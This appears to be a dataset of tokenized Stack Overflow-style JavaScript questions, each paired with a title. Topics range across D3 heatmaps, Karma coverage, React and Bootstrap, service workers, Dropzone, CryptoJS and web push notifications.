the value of the regEx dictionary . Thanks . var regEx_gaid = < % = regEx [ `` regEx_gaid '' ] % > ; var regEx_wCard = < % = regEx [ `` regEx_wildCard '' ] % > ; var regEx_fCss = < % = regEx [ `` regEx_flattenCss '' ] % > ; var regEx_iCss = < % = regEx [ `` regEx_inlineCss '' ] % > ; ... function doSomething ( ) { // do something with those variables declared above . }",Executing serverside code from javaScript "JS : I created an heatmap and some sparklines following this example.In the example the user could click on the labels of the rows and those of the columns , in my case I kept only the possibility to click on the columns labels.That example was perfect for my data , only I need to update the heatmap based on the radio buttons selection.The first radio buttons allow you to choose the type of area ( A or B ) .The second group of radio buttons allow you to choose the daily data to be displayed.However , the data are `` incomplete '' : not all the months have daily data but only April and December.So if you select the April or December radio button , the daily data on the heatmap are shown , otherwise the monthly ones are shown.The example works but it is very primitive because the heatmap is deleted and recreated every time.I found this example that allow to update the heatmap but I ca n't able to adapt the code.In the example , data changes only value and not `` shape '' . That is , the number of labels remains the same . In my case , the situation is a bit more complicated.I create a Plunker with the code . // Return to the initial order when the user clicks on the buttond3.select ( ' # initialOrder ' ) .on ( 'click ' , function ( ) { var trans = heat.transition ( ) .duration ( 1000 ) ; var sortedYear = Array.from ( Array ( numYLabels ) .keys ( ) ) ; trans.selectAll ( '.cell ' ) .attr ( ' y ' , function ( d ) { var row = parseInt ( d3.select ( this ) .attr ( 'data-r ' ) ) ; return sortedYear.indexOf ( row ) *cellSize ; } ) ; trans.selectAll ( '.rowLabel ' ) .attr ( ' y ' , function ( d , k ) { return sortedYear.indexOf ( k ) * cellSize ; } ) ; sortedYear.forEach ( function ( d ) { d3.select ( ' # data-svg- ' + d ) .raise ( ) ; } ) ; } ) ; // Area radio button change selectiond3.selectAll ( 'input [ name=area-rb ] ' ) .on ( 'change ' , function ( ) { areaSelected = d3.select ( 'input [ name= '' area-rb '' ] : checked ' ) .property ( `` value '' ) ; console.log ( 'areaSelected : ' , areaSelected ) ; d3.select ( ' # heatmapSvg ' ) .remove ( ) ; d3.selectAll ( '.data-svg ' ) .remove ( ) ; createHeatmap ( ) ; } ) ; // Month radio button change selectiond3.selectAll ( 'input [ name=month-rb ] ' ) .on ( 'change ' , function ( ) { monthSelected = d3.select ( 'input [ name= '' month-rb '' ] : checked ' ) .property ( `` value '' ) ; console.log ( 'monthSelected : ' , monthSelected ) ; if ( avaibleDayData.includes ( monthSelected ) ) { d3.select ( ' # heatmapSvg ' ) .remove ( ) ; d3.selectAll ( '.data-svg ' ) .remove ( ) ; createHeatmap ( ) ; } else { monthSelected = 'nothing ' ; d3.select ( ' # heatmapSvg ' ) .remove ( ) ; d3.selectAll ( '.data-svg ' ) .remove ( ) ; createHeatmap ( ) ; } } ) ;",Update the heatmap based on the selected data "JS : I 've searched , but did n't find answer to this question . Should HTML DOM EVENTS , like onChange , onSelect , onKeyUp , onFocus , onClick etc . contain semicolon , example two lines below . `` YES '' or `` NO '' or `` Does n't Matter '' I guess it does n't matter , but again , what 's the best , most right to do ? THANKS ALL ! onChange= '' this.form.submit ( ) ; '' OR onChange= '' this.form.submit ( ) ''",YES or NO to semicolon in object events "JS : I need some help regarding Karma with browserify coverage . I created a repo with the test I am running in here : https : //github.com/jotaoncode/web-istanbulThe results on my coverage are the following : Results of coverageThe test only runs over the function index . But as you can see the results are a 100 % and marks only the first row of the file with a green color.I have seen cases where istanbul shows correctly the coverage values , I have changed the test and the source but nothing.I also have this karma configuration : If you ran the tests you will see that it actually works fine , but the coverage report is not correct . module.exports = function ( config ) { config.set ( { //logLevel : 'LOG_DEBUG ' , reporters : [ 'spec ' , 'coverage ' ] , // Continuous Integration mode // if true , Karma captures browsers , runs the tests and exits singleRun : true , autoWatch : false , // base path that will be used to resolve all patterns ( eg . files , exclude ) basePath : `` , port : 9876 , // frameworks to use // available frameworks : https : //npmjs.org/browse/keyword/karma-adapter frameworks : [ 'mocha ' , 'browserify ' ] , files : [ 'src/**/*.js ' , 'test/*.js ' ] , // list of files to exclude exclude : [ ] , preprocessors : { 'src/**/*.js ' : [ 'browserify ' , 'coverage ' ] , 'test/**/*.js ' : [ 'browserify ' ] } , coverageReporter : { reporters : [ { type : 'html ' } , { type : 'text ' } , { type : 'lcovonly ' } ] , instrumenterOptions : { istanbul : { noCompact : true } } , instrumenter : { 'test/**/*.js ' : 'istanbul ' } , includeAllSources : true } , // enable / disable colors in the output ( reporters and logs ) colors : true , // start these browsers // available browser launchers : https : //npmjs.org/browse/keyword/karma-launcher browsers : [ 'PhantomJS2 ' ] } ) ; } ;",Karma coverage fails to show correct results "JS : I have already installed popper and jquery with NPM . and imported in App.js : The css part seems to work fine , but I do n't see any jquery ( bootstrap.js ) running . When I use table , table-striped and table-hover does not work . Here is the code I was testing , from Traversy Media ( I pasted inside a render in App.js ) . I have tried both class and classNameThank you import '../node_modules/jquery/dist/jquery.min.js'import '../node_modules/bootstrap/dist/css/bootstrap.min.css ' ; import '../node_modules/bootstrap/dist/js/bootstrap.min.js ' ; < div className= '' container '' > < table className= '' table table-striped table-bordered table-hover table-condensed '' > < tr > < th > Firstname < /th > < th > Lastname < /th > < th > Age < /th > < /tr > < tr class= '' danger '' > < td > Jill < /td > < td > Smith < /td > < td > 50 < /td > < /tr > < tr > < td > Eve < /td > < td > Jackson < /td > < td > 24 < /td > < /tr > < tr class= '' success '' > < td > John < /td > < td > Doe < /td > < td > 34 < /td > < /tr > < tr > < td > Stephanie < /td > < td > Landon < /td > < td > 47 < /td > < /tr > < tr > < td > Mike < /td > < td > Johnson < /td > < td > 19 < /td > < /tr > < /table > < /div >",table-hover ( bootstrap ) not work with react "JS : I am interested in the scenario where we have some function f which is recursive and which we are not provided the source code to . I would like a function memoizer : Function - > Function which takes in say f and returns a function g such that g = f ( in the sense they return the same value given the same arguments ) which when called first checks if the called arguments are in its 'cache ' ( memory of results it has calculated before ) and if so returns the result from this , otherwise it should compute f , should f call itself with some arguments , this is tantamount to calling g with those arguments and I would like that f first check if the cache of g contains those arguments and if so return the result from this , otherwise ... This is easy ( in Javascript ) to do given the source code of f , I simply define memoize in the obvious way and do something like But this does n't appeal to me at all ( mainly because I might want a memoized and non memoized version of the same function and then I 'd have to write the same function twice ) and wo n't work if I do n't know how to implement f.In case it 's not clear what I 'm asking , I would like a function memoize which takes a function such as And returns some new function g such that fact ( n ) = g ( n ) for all n and which for example when g ( 10 ) is computed stores the values of fact ( 0 ) , ... , fact ( 10 ) which are computed while computing g ( 10 ) and then if I ask for say g ( 7 ) it finds the result in the cache and returns it to me.I 've thought that conceptually it 's possible to detect when f is called since I have it 's address and maybe I could replace all calls to f with a new function where I compute f and store the result and then pass the value on to where it would normally go . But I do n't know how to do this ( and it sounds unpleasant ) . let f = memoize ( ( ... args ) = > { /* source code of f */ } ) ; fact = n = > n === 0 ? 1 : n * fact ( n - 1 ) ;",memoize any given recursive function in JavaScript "JS : to be honest , i 'm a little bit desperate . After my Google Chrome Browser updated – from i think Version 39 to 41 – one of my clients websites is absolutely disfigured in Chrome.You can see it here : http : //prinovis-media-day.com/If you scroll down , all the » parallax « elements are flickering.I 've checked it on my macbook on Version 39 — it 's absolutely fine in Version 39.Basically , what i 'm doing to create this effect is very simple : Does anyone know whats the matter ? It worked like a charm before this update ... Thanks a lot in advance , i really appreciate any answer ! $ ( `` window '' ) .scroll ( function ( ) { var move_value = Math.round ( scroll_top * 0.3 ) ; var opacity_value = *some other value* ; $ ( `` .parallax-container__content '' ) .css ( { 'opacity ' : opacity_value , 'padding-top ' : move_value +'px ' } ) ; } ) ;",.scroll ( ) function positioning flickering in google chrome after its last update "JS : Possible Duplicate : Use of 'prototype ' vs. 'this ' in Javascript ? I am confused with these two type of adding a method to a function . Let me explain with an example.Now at this point we can use baz and bar methods for car . Well , but what is the difference between them . What is the nuance adding a method to function 's prototype or it 's constructor.Thanks.. var foo = function ( ) { this.bar = function ( ) { alert ( ' I am a method ' ) } } foo.prototype.baz = function ( ) { alert ( ' I am another method ' ) } var car = new foo ( ) ;",What is the difference between assigning a function via `` this '' vs. `` prototype '' ? JS : I am looking to standardize the use of Q promises in my team 's codebase . Are there any good jscs extensions ( or other linters ) to help enforce style when it comes to promises ? We would like our promises to follow this form : And would like a linter to catch any .then ( ) in our code that is missing a .catch ( ) Advice for other stylistic tips when it comes to promises is welcome too . promise ( ) .then ( ) .catch ( ) .done ( ) ;,Linting Promises in Javascript "JS : I 'm sure this is answered somewhere , but it is my lack of terminology knowledge that ca n't find where to look.I am dynamically creating some Html as a result of some json data loaded from the server.I am using createElement , and setAttribute to create the html and append it to the main body.However , my dynamic html contains a `` data- '' attribute , which has further nested properties . An example end goal is such : I have had some success when running : But then when I come to use the data item elsewhere in my java-script , the attributes are recognized as a string as opposed to an object . When I hard code the HTML , the data-item is loaded correctly as an object . I have made the assumption it must be because I am incorrectly setting this attribute . < li > < span class=item data-item= ' { `` width '' : 100 , `` height '' : 100 , `` properties '' : { `` Name '' : `` foo '' , `` Surname '' : `` bar '' } } ' > < /span > < /li > li.setAttribute ( `` data-item '' , ' { `` width '' : 100 , `` height '' : 100 , `` properties '' : { `` Name '' : `` foo '' , `` Surname '' : `` bar '' } } ' ) ;",HTML SetAttribute with nested properties "JS : Decently experienced with jQuery , new to AngularJS . I have a page with a list of colors ( variable number ) with attached jQuery colorpickers ( marked by class `` .colorpicker '' ) . On the static , PHP-generated version of the page , that works great ; but converting it over to ng-repeat , jQuery does n't catch future occurances . Is there an event that can be caught with $ .on ( ) , or is there some other sneaky best-practices way to accomplish this with AngularJS ? I 've searched around , but every answer I 've found has been how to set up $ .on ( 'click ' ) or similar . < ul class= '' unstyled '' > < li ng-repeat= '' color in showcolors '' > < input type= '' color '' class= '' input-mini colorpicker '' ng-model= '' color.hex '' > { { color.category } } < /li > < /ul >","How do I force jQuery to `` listen '' for , and activate plugins on , future AngularJS ng-repeat elements ?" "JS : We use ES6 and immutable.js to create classes , that are immutable.How can I inherit from Animal and add custom properties , but still be able to use it as an immutable Record ? class Animal extends Record ( { foo : `` '' } ) ; class Animal extends Animal { } ; // How to add the key `` bar '' ?",Create subclasses with different attributes using an ImmutableJS Record "JS : Both JSLint and JSHint issue warnings when they encounter a labelled statement whose identifier matches the following regular expression : For example , the following snippet generates a `` JavaScript URL '' warning from JSLint and a `` Label 'javascript ' looks like a javascript url '' warning from JSHint ( the function wrapper is unnecessary , but JSLint does n't like labelled statements that are not function-scoped and raises a different warning ) : As far as I can tell , no browser cares about it , even when it appears immediately after the `` javascript : '' protocol in a bookmarklet . For example , the following always seem to work ( just paste into the address bar like any bookmarklet ) : Could the label identifier `` javascript : '' ( or any other string that would match that regex ) ever have caused any issues ( some ancient browser perhaps ? ) that would warrant the warnings generated ? Why are these warnings generated ? /^ ( ? : javascript|jscript|ecmascript|vbscript|mocha|livescript ) \s* : /i function example ( x , y ) { javascript : while ( x ) { while ( y ) { break javascript ; } } } javascript : ( function ( ) { javascript : for ( var i = 0 ; i < 2 ; i++ ) { alert ( i ) ; break javascript ; } } ( ) ) ; javascript : javascript : for ( var i = 0 ; i < 2 ; i++ ) { alert ( i ) ; break javascript ; }",Can the label `` javascript : '' cause any problems ? "JS : firstly I am new here , so forgive me if this questions seems poorly written.Is there any way to include a separate html file without applying the referenced CSS/JS of the original ? For instance , I have a file `` index.php '' with several references to external style sheets.I then include another file navbar.html with its own external style sheet reference.However , the CSS and JS of the original file always seem to apply to the included file , which unfortunately often leads to the included page being styled inappropriately.Is there any way to include a page while applying only its desired CSS and JS ? Althou I find IFrames usefull , I am looking for a solution that does not use them , as they are not always browser compatible , and do not dynamically change shape . For instance if a navbar has a dropdown link it will not be shown because the iframe has a set size . < ! -- Bootstrap Core CSS -- > < link rel= '' stylesheet '' href= '' css/bootstrap.min.css '' type= '' text/css '' > < ! -- Custom Fonts -- > < link href='http : //fonts.googleapis.com/css ? family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800 ' rel='stylesheet ' type='text/css ' > < link href='http : //fonts.googleapis.com/css ? family=Merriweather:400,300,300italic,400italic,700,700italic,900,900italic ' rel='stylesheet ' type='text/css ' > < link rel= '' stylesheet '' href= '' font-awesome/css/font-awesome.min.css '' type= '' text/css '' > < link href= '' navbar.css '' rel= '' stylesheet '' >",Include html file in page without applying original pages CSS/JS "JS : I 'm programming in nodejs using typescript.I 'm using pdfmake and I installed typescript definition files for this library ( @ types/pdfmake ) https : //github.com/DefinitelyTyped/DefinitelyTyped/blob/master/types/pdfmake/index.d.tsI 'm importing one of the enums from this fileimport { PageSize } from `` pdfmake/build/pdfmake '' ; and using it like this PageSize.A4This compiles , but when I try to access value A4 of this enum , runtime error occursTypeError : Can not read property 'A4 ' of undefinedAny help would be greatly appreciatedpackage.json : tsconfig.json : { `` name '' : `` nodejs-pdf-make '' , `` version '' : `` 1.0.0 '' , `` description '' : `` '' , `` main '' : `` dist/app.js '' , `` scripts '' : { `` start '' : `` tsc & & node -- inspect dist/app.js '' , `` test '' : `` echo \ '' Error : no test specified\ '' & & exit 1 '' } , `` author '' : `` '' , `` license '' : `` ISC '' , `` devDependencies '' : { `` @ types/express '' : `` ^4.17.1 '' , `` tslint '' : `` ^5.19.0 '' , `` typescript '' : `` ^3.6.2 '' } , `` dependencies '' : { `` @ types/pdfmake '' : `` ^0.1.8 '' , `` express '' : `` ^4.17.1 '' , `` pdfmake '' : `` ^0.1.58 '' } } { `` compilerOptions '' : { `` module '' : `` commonjs '' , `` esModuleInterop '' : true , `` target '' : `` es6 '' , `` moduleResolution '' : `` node '' , `` sourceMap '' : true , `` outDir '' : `` dist '' } , `` lib '' : [ `` es2015 '' ] } `` `",How to use enum from typescript definition file ? "JS : I am learning Polymer . I have a element that includes a div . I want to animate that div 's height . In an attempt to do this , I 've got the following : my-element.htmlI then used the grow height animation shown here for inspiration . So , I basically , have a animation defined like this : My challenge is , I do not understand how to integrate this animation with the div element with the id of `` container '' . Everything I see seems like it only works on Polymer elements . Yet , I 'm trying to figure out how to animate the div using Polymer . What am I missing ? Thanks ! < dom-module id= '' my-element '' > < template > < div id= '' container '' style= '' height:100px ; background-color : green ; color : white ; '' > Hello ! < /div > < paper-button on-click= '' _onTestClick '' > Expand < /paper-button > < /template > < script > Polymer ( { is : 'my-element ' , _onTestClick : function ( ) { // expand the height of container } } ) ; < /script > < /dom-module > Polymer ( { is : 'grow-height-animation ' , behaviors : [ Polymer.NeonAnimationBehavior ] , configure : function ( config ) { var node = config.node ; var rect = node.getBoundingClientRect ( ) ; var height = rect.height ; this._effect = new KeyframeEffect ( node , [ { height : ( height / 2 ) + 'px ' } , { height : height + 'px ' } ] , this.timingFromConfig ( config ) ) ; return this._effect ; } } ) ;",Polymer - Animating a DIV "JS : So I 've created and successfully registered a Service Worker when the browser is online . I can see that the resources are properly cached using the DevTools . The issue is when I switch to offline mode , the service worker seems to unregister itself and , as such , nothing but the google chrome offline page is displayed . The code.And the test script , if that helps . Edit : Checking the console I 've found this error . sw.js:1 An unknown error occurred when fetching the script.Aslo , as per a suggestion , I 've added this code yet the problem persists . 'use strict ' ; var CACHE_NAME = 'v1 ' ; var urlsToCache = [ '/ ' ] ; self.addEventListener ( 'install ' , function ( event ) { // Perform install steps event.waitUntil ( caches.open ( CACHE_NAME ) .then ( function ( cache ) { console.log ( 'Opened cache ' ) ; return cache.addAll ( urlsToCache ) ; } ) ) ; } ) ; self.addEventListener ( 'fetch ' , function ( event ) { event.respondWith ( caches.match ( event.request ) .then ( function ( response ) { // Cache hit - return response if ( response ) { return response ; } // IMPORTANT : Clone the request . A request is a stream and // can only be consumed once . Since we are consuming this // once by cache and once by the browser for fetch , we need // to clone the response . var fetchRequest = event.request.clone ( ) ; return fetch ( fetchRequest ) .then ( function ( response ) { // Check if we received a valid response if ( ! response || response.status ! == 200 || response.type ! == 'basic ' ) { return response ; } // IMPORTANT : Clone the response . A response is a stream // and because we want the browser to consume the response // as well as the cache consuming the response , we need // to clone it so we have two streams . var responseToCache = response.clone ( ) ; caches.open ( CACHE_NAME ) .then ( function ( cache ) { cache.put ( event.request , responseToCache ) ; } ) ; return response ; } ) ; } ) ) ; } ) ; 'use strict ' ; if ( 'serviceWorker ' in navigator ) { navigator.serviceWorker.register ( '/sw.js ' ) .then ( function ( registration ) { // Registration was successful console.log ( 'ServiceWorker registration successful with scope : ' , registration.scope ) ; var serviceWorker ; if ( registration.installing ) { serviceWorker = registration.installing ; } else if ( registration.waiting ) { serviceWorker = registration.waiting ; } else if ( registration.active ) { serviceWorker = registration.active ; } if ( serviceWorker ) { console.log ( 'ServiceWorker phase : ' , serviceWorker.state ) ; serviceWorker.addEventListener ( 'statechange ' , function ( e ) { console.log ( 'ServiceWorker phase : ' , e.target.state ) ; } ) ; } } ) .catch ( function ( err ) { // registration failed : ( console.log ( 'ServiceWorker registration failed : ' , err ) ; } ) ; } this.addEventListener ( 'activate ' , function ( event ) { var cacheWhitelist = [ 'v2 ' ] ; event.waitUntil ( caches.keys ( ) .then ( function ( keyList ) { return Promise.all ( keyList.map ( function ( key ) { if ( cacheWhitelist.indexOf ( key ) === -1 ) { return caches.delete ( key ) ; } } ) ) ; } ) ) ; } ) ;",Service worker unregistered when offline "JS : I 'm using dropzone.js for my project and I need to delete files from plugin upload zone ( not from server ) after I upload them . I need to get back to `` Drop files here or click to upload '' text after upload.I 'm trying to get same result that I would get when I 'm using `` Remove file '' link under file icon . But when I try to achieve this programmatically the removeFileEvent wo n't trigger . I tried both jquery trigger ( 'click ' ) ; and dispatchEvent ( event ) ; .My code : var dropzone = new Dropzone ( ' # uploadzone ' , { url : 'uploaded_url.php ' , addRemoveLinks : true , init : function ( ) { this.on ( `` success '' , function ( file , response ) { var removeLink = $ ( file.previewElement ) .find ( ' a.dz-remove ' ) ; removeLink.trigger ( 'click ' ) ; } ) ; } ) ;",Deleting uploaded files form Dropzone.js form "JS : We had Login with LinkedIn code set up and working perfectly with LinkedIn Javascript SDK , where a few days ago we suddenly started to get this : And login does not complete ( it returns from LinkedIn to our page and waits forever ) . I have no idea why we started to get this error when everything was working perfectly ( we have n't changed a single line of code about the login mechanism , or allow origin headers/files , or LinkedIn settings etc ) but I decided to add platform.linkedin.com to allow origin header : Access-Control-Allow-Origin : https : //platform.linkedin.comI can see the header sent in response correctly . However , I 'm still getting the very same error.Why did this start happening and how can we prevent this ? I mean , I know Microsoft bought LinkedIn but come on , they ca n't break it that fast . Blocked a frame with origin `` https : //platform.linkedin.com '' from accessing a framewith origin `` https : //OUR_SITE '' . Protocols , domains , and ports must match .",LinkedIn Login : Blocked a frame with origin `` https : //platform.linkedin.com '' from accessing a frame with origin "JS : I know its a long question , so allow me to explain as best as I can.I have two javascript functions that I want to run after the page loads , we will call them function1 ( ) and function2 ( ) .function1 ( ) uses AJAX to retrieve information from the database that will arrange the contents in a div from the information obtained in the database . It also returns the contents from the database once the function has finished.function2 ( ) requires the value from the database in order to run properly , so it needs to wait until function1 ( ) returns its value before function2 ( ) runs . Unfortunately my code is not working , and without going into too much detail , below is a schematic of the code : The error I get is that var data is undefined . function1 ( ) retrieves the data successfully , and runs as I intended it to , but function2 ( ) does not execute at all , because the value is missing . Can anyone figure out why I am getting this and how I should go about solving this ? NOTE : I am really only familiar with Javascript ( still novice at that ) , I know essentially nothing about JQuery , so if you do use this to fix the code , please explain to me why this works ( it will save me trouble later ) function function1 ( ) { if ( some_cookie_exists ) { //run some code } else { //send parameters through `` POST '' xmlhttp.onreadystatechange = function ( ) { if ( xmlhttp.readyState == 4 & & xmlhttp.status == 200 ) { var a = some_value_from_database ; // change div content return a ; } } //sending parameters } function function2 ( a ) { //run code that depends on value of `` a '' } window.onload = function ( ) { var data = function1 ( ) ; function2 ( data ) ;",How do I execute a Javascript function requires a value after an onload function is completed that gives the value ? "JS : We are trying a way to receive web components via WebSockets . Those components contains custom scripts and they should be run in a context inside the component.In short , we have some script strings and want to run them.Right now we are using eval for this , something like this : and works as expected , but I 'm reading that any function containing eval is not optimized by V8 . I thought into converting it to new Function ( ) like this : this way I can achieve the same as the ctxEval function above.We know that Function is eval ( ) because they act almost equally , but the question now is , until which point Function is eval ( ) ? Maybe because Function ( ) has its own scope instead of the eval one which runs the code in the same scope , the function containing the Function call is actually optimized by V8 . Also , here they talk about eval but not about Function constructor.And another question implied in this one is , is the script that runs inside Function ( ) optimized by V8 ? function ctxEval ( ctx , __script ) { eval ( __script ) ; // return things with the ctx } new Function ( `` ctx '' , __script ) ( ctx ) ;","Is the Function ( ) constructor not optimized by V8 , like eval ?" "JS : Currently working on a react + redux project.I 'm also using normalizr to handle the data structure and reselect to gather the right data for the app components . All seems to be working well.I find myself in a situation where a leaf-like component needs data from the store , and thus I need to connect ( ) the component to implement it.As a simplified example , imagine the app is a book editing system with multiple users gathering feedback.At different levels of the app , users may contribute to the content and/or provide comments.Consider I 'm rendering a Chapter , it has content ( and an author ) , and comments ( each with their own content and author ) .Currently I would connect ( ) and reselect the chapter content based on the ID.Because the database is normalised with normalizr , I 'm really only getting the basic content fields of the chapter , and the user ID of the author . To render the comments , I would use a connected component that can reselect the comments linked to the chapter , then render each comment component individually.Again , because the database is normalised with normalizr , I really only get the basic content and the user ID of the comment author.Now , to render something as simple as an author badge , I need to use another connected component to fetch the user details from the user ID I have ( both when rendering the chapter author and for each individual comment author ) .The component would be something simple like this : And it seemingly works fine.I 've tried to do the opposite and de-normalise the data back at a higher level so that for example chapter data would embed the user data directly , rather than just the user ID , and pass it on directly to User – but that only seemed to just make really complicated selectors , and because my data is immutable , it just re-creates objects every time.So , my question is , is having leaf-like component ( like User above ) connect ( ) to the store to render a sign of anti-pattern ? Am I doing the right thing , or looking at this the wrong way ? Book Chapters Chapter Comments Comments Comments @ connect ( createSelector ( ( state ) = > state.entities.get ( 'users ' ) , ( state , props ) = > props.id , ( users , id ) = > ( { user : users.get ( id ) } ) ) ) class User extends Component { render ( ) { const { user } = this.props if ( ! user ) return null return < div className='user ' > < Avatar name= { ` $ { user.first_name } $ { user.last_name } ` } size= { 24 } round= { true } / > < /div > } } User.propTypes = { id : PropTypes.string.isRequired } export default User",Is connect ( ) in leaf-like components a sign of anti-pattern in react+redux ? JS : I 'm trying to understand stateless components and what the difference is between these examples : and this : Or if there is any difference at all ? class App { render ( ) { return ( < div > { this.renderAFunction ( 'hello ' ) } < /div > ) ; } renderAFunction ( text ) { return ( < p > { text } < /p > ) ; } } class App { render ( ) { return ( < div > < RenderAFunction text='hello'/ > < /div > ) ; } } const RenderAFunction = ( { text } ) = > ( < p > { text } < /p > ) ;,What 's the difference between using a stateless functional component versus calling a method ? "JS : I noticed this behavior while using the react-transition-group package in a gatsby project I 'm working on . I have a list of `` tags '' that are added to an active list as they are picked from another master list . Clicking a tag from the master list adds it to the active list , and clicking a tag from the active list removes it . Pretty much how you would expect something like this to work.The transition in works just fine , but when transitioning out the tags re-organize themselves in a strange way . We have five tags with the following values : Dairy FreeParty FoodFamily SizedLow CholesterolLow SodiumIf you click the Family Sized tag to remove it , the following occurs : Family Sized disappears instantlyLow Cholesterol and Low Sodium shift instantly to the leftThe last tag changes to Low Sodium instantlyThe last tag , now with the value of Low Sodium transitions outThe expected behavior is that the Family Sized tag transitions out from where it is in the middle of the group . I should note that it works fine if you remove the last tag from the active list , this only happens when removing a tag from any other position.Here is a slowed-down GIF of the transition and here is my code : filter is an array destructured from the component 's state.There is a < StaticQuery > from gatsby used in the same render ( ) method of the component if that matters.The < TagButton > is a styled component from styled-components package , not a separately imported component . < TransitionGroup className='tag-container ' > { filter.map ( ( tag , index ) = > { return ( < CSSTransition key= { index } timeout= { 250 } classNames= { ` tag ` } > < TagButton value= { tag } onClick= { onClickFunction } className= { ` $ { screenStyle } active ` } > { tag } < /TagButton > < /CSSTransition > ) } ) } < /TransitionGroup >",Element values shifting and changing before transition with react-transition-group "JS : There is a great question on how to split a JavaScript array into chunks . I 'm currently using this for some statistical methods I 'm writing and the answer that I 'm using is as follows ( although I chose not to extend the Array prototype like they did in the answer ) : This takes an array , such as [ 1,2,3,4,5,6 ] , and given a chunkSize of 2 returns [ [ 1,2 ] , [ 3,4 ] , [ 5,6 ] ] . I 'm curious how I could modify this to create an array of `` overlapping '' chunks ( or for those familiar with methods such as a moving average , `` moving subgroups '' ) . Provided the same array as above and chunkSize of 3 , it would return [ [ 1,2,3 ] , [ 2,3,4 ] , [ 3,4,5 ] , [ 4,5,6 ] ] . A chunkSize of 2 would return [ [ 1,2 ] , [ 2,3 ] , [ 3,4 ] , [ 4,5 ] , [ 5,6 ] ] .Any thoughts on how to approach this ? var chunk = function ( array , chunkSize ) { return [ ] .concat.apply ( [ ] , array.map ( function ( elem , i ) { return i % chunkSize ? [ ] : [ array.slice ( i , i+chunkSize ) ] ; } ) ) ; } ;",Split array into overlapping chunks ( moving subgroups ) "JS : I gradually compute the MD5 hash of a large file , during an upload , then at some point I want to save to HTML5 localStorage what I have calculated so far , to be able to resume later.From what I know , localStorage can store strings , so I have to store the progressive MD5 value as a string and then restore them , when the user opens the browser at a later time.Basically my code looks like this : At this point , I want to convert md5_full to a string , to be able to save to localStorage . And then , at a later time , when the user wants to resume the upload , to be able to retrieve the md5_full from localStorage , unstringify , and continue to update it with chunks.In the end I should be able to call md5_full.finalize ( ) ; to get the final full MD5 hash digest . var md5_full = CryptoJS.algo.MD5.create ( ) ; var wordArray = CryptoJS.lib.WordArray.create ( chunk ) ; md5_full.update ( wordArray ) ;",Saving CryptoJS 's CryptoMD5 state as a string and restoring it later "JS : I have developed a push notification service for my web site . the service worker is : I have subscribed the users successfully using the following code : and All these codes are in javascript . I can successfully recieve user subscription infromarion on my server like : Also I can successfully send a push to this user using the code bellow in C # : The problem is that after a period of time ( about 20 hours or even less ) , when I want to send a push to this user I got the following errors : firefox subscription : chrome subscription : I think I missed something , that makes the subscription expires , or have to make the users to resubscribe when their subscription information is changed or expired , but I do not know how ? ! ! 'use strict ' ; self.addEventListener ( 'push ' , function ( event ) { var msg = { } ; if ( event.data ) { msg = event.data.json ( ) ; } let notificationTitle = msg.title ; const notificationOptions = { body : msg.body , //body dir : 'rtl ' , //direction icon : msg.icon , //image data : { url : msg.url , //click } , } ; event.waitUntil ( Promise.all ( [ self.registration.showNotification ( notificationTitle , notificationOptions ) , ] ) ) ; } ) ; self.addEventListener ( 'notificationclick ' , function ( event ) { event.notification.close ( ) ; let clickResponsePromise = Promise.resolve ( ) ; if ( event.notification.data & & event.notification.data.url ) { clickResponsePromise = clients.openWindow ( event.notification.data.url ) ; } const fetchOptions = { method : 'post ' } ; fetch ( 'http : //localhost:5333/usrh.ashx ? click=true ' , fetchOptions ) . then ( function ( response ) { if ( response.status > = 400 & & response.status < 500 ) { throw new Error ( 'Failed to send push message via web push protocol ' ) ; } } ) .catch ( ( err ) = > { this.showErrorMessage ( 'Ooops Unable to Send a Click ' , err ) ; } ) ; } ) ; self.addEventListener ( 'notificationclose ' , function ( event ) { const fetchOptions = { method : 'post ' } ; fetch ( 'http : //localhost:5333/usrh.ashx ? close=true ' , fetchOptions ) . then ( function ( response ) { if ( response.status > = 400 & & response.status < 500 ) { throw new Error ( 'Failed to send push message via web push protocol ' ) ; } } ) .catch ( ( err ) = > { this.showErrorMessage ( 'Ooops Unable to Send a Click ' , err ) ; } ) ; } ) ; self.addEventListener ( 'pushsubscriptionchange ' , function ( ) { const fetchOptions = { method : 'post ' , } ; fetch ( 'http : //localhost:5333/usru.ashx ' , fetchOptions ) .then ( function ( response ) { if ( response.status > = 400 & & response.status < 500 ) { console.log ( 'Failed web push response : ' , response , response.status ) ; throw new Error ( 'Failed to update users . ' ) ; } } ) .catch ( ( err ) = > { this.showErrorMessage ( 'Ooops Unable to Send a user ' , err ) ; } ) ; } ) ; registerServiceWorker ( ) { if ( 'serviceWorker ' in navigator ) { navigator.serviceWorker.register ( 'http : //localhost:5333/service-worker.js ' ) .catch ( ( err ) = > { this.showErrorMessage ( 'Unable to Register SW ' , 'Sorry this demo requires a service worker to work and it ' + 'failed to install - sorry : ( ' ) ; console.error ( err ) ; } ) ; } else { this.showErrorMessage ( 'Service Worker Not Supported ' , 'Sorry this demo requires service worker support in your browser . ' + 'Please try this demo in Chrome or Firefox Nightly . ' ) ; } } class PushClient { constructor ( subscriptionUpdate , appkeys ) { this._subscriptionUpdate = subscriptionUpdate ; this._publicApplicationKey = appkeys ; if ( ! ( 'serviceWorker ' in navigator ) ) { return ; } if ( ! ( 'PushManager ' in window ) ) { return ; } if ( ! ( 'showNotification ' in ServiceWorkerRegistration.prototype ) ) { return ; } navigator.serviceWorker.ready.then ( ( ) = > { this.setUpPushPermission ( ) ; } ) ; } setUpPushPermission ( ) { return navigator.serviceWorker.ready.then ( ( serviceWorkerRegistration ) = > { return serviceWorkerRegistration.pushManager.getSubscription ( ) ; } ) .then ( ( subscription ) = > { if ( ! subscription ) { return ; } this._subscriptionUpdate ( subscription ) ; } ) .catch ( ( err ) = > { console.log ( 'setUpPushPermission ( ) ' , err ) ; } ) ; } subscribeDevice ( ) { return new Promise ( ( resolve , reject ) = > { if ( Notification.permission === 'denied ' ) { sc ( 3 ) ; return reject ( new Error ( 'Push messages are blocked . ' ) ) ; } if ( Notification.permission === 'granted ' ) { sc ( 3 ) ; return resolve ( ) ; } if ( Notification.permission === 'default ' ) { Notification.requestPermission ( ( result ) = > { if ( result === 'denied ' ) { sc ( 0 ) ; } else if ( result === 'granted ' ) { sc ( 1 ) ; } else { sc ( 2 ) ; } if ( result ! == 'granted ' ) { reject ( new Error ( 'Bad permission result ' ) ) ; } resolve ( ) ; } ) ; } } ) .then ( ( ) = > { return navigator.serviceWorker.ready.then ( ( serviceWorkerRegistration ) = > { return serviceWorkerRegistration.pushManager.subscribe ( { userVisibleOnly : true , 